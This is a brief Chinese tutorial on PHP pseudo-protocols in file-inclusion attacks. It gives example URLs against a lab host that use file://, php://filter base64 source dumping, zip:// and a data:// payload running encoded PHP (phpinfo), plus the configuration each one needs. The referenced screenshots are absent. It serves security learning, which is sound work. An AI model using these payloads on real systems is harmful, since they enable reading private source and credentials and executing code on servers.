一、背景介绍
本文结合文件包含漏洞来介绍php伪协议的使用,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://
二、相关参数
allow_url_fopen off/on 默认开启
allow_url_include off/on 默认关闭
三、伪协议的使用
1)用于访问本地文件系统
双off可使用
http://192.168.88.128/111.php?file=file://c:wamp/www/phpcode.txt
截图如下:
2)读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
双off可使用
http://192.168.88.128/111.php?file=php://filter/read=convert.base64-encode/resource=111.php
截图如下:
3)可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
allow_url_fopen off
allow_url_include on
后可使用php://input
4)以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
双off的情况下可使用
http://192.168.88.128/111.php?file=zip://c:/wamp/www/file.jpg%23phpcode.txt
截图如下:
5)—>
双off的情况下可使用
compress.bzip2://file.bz2
6)双off的情况下可使用
compress.zlib://file.gz
7)双on的情况下可使用
http://192.168.88.128/111.php?file=data:/text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
截图如下: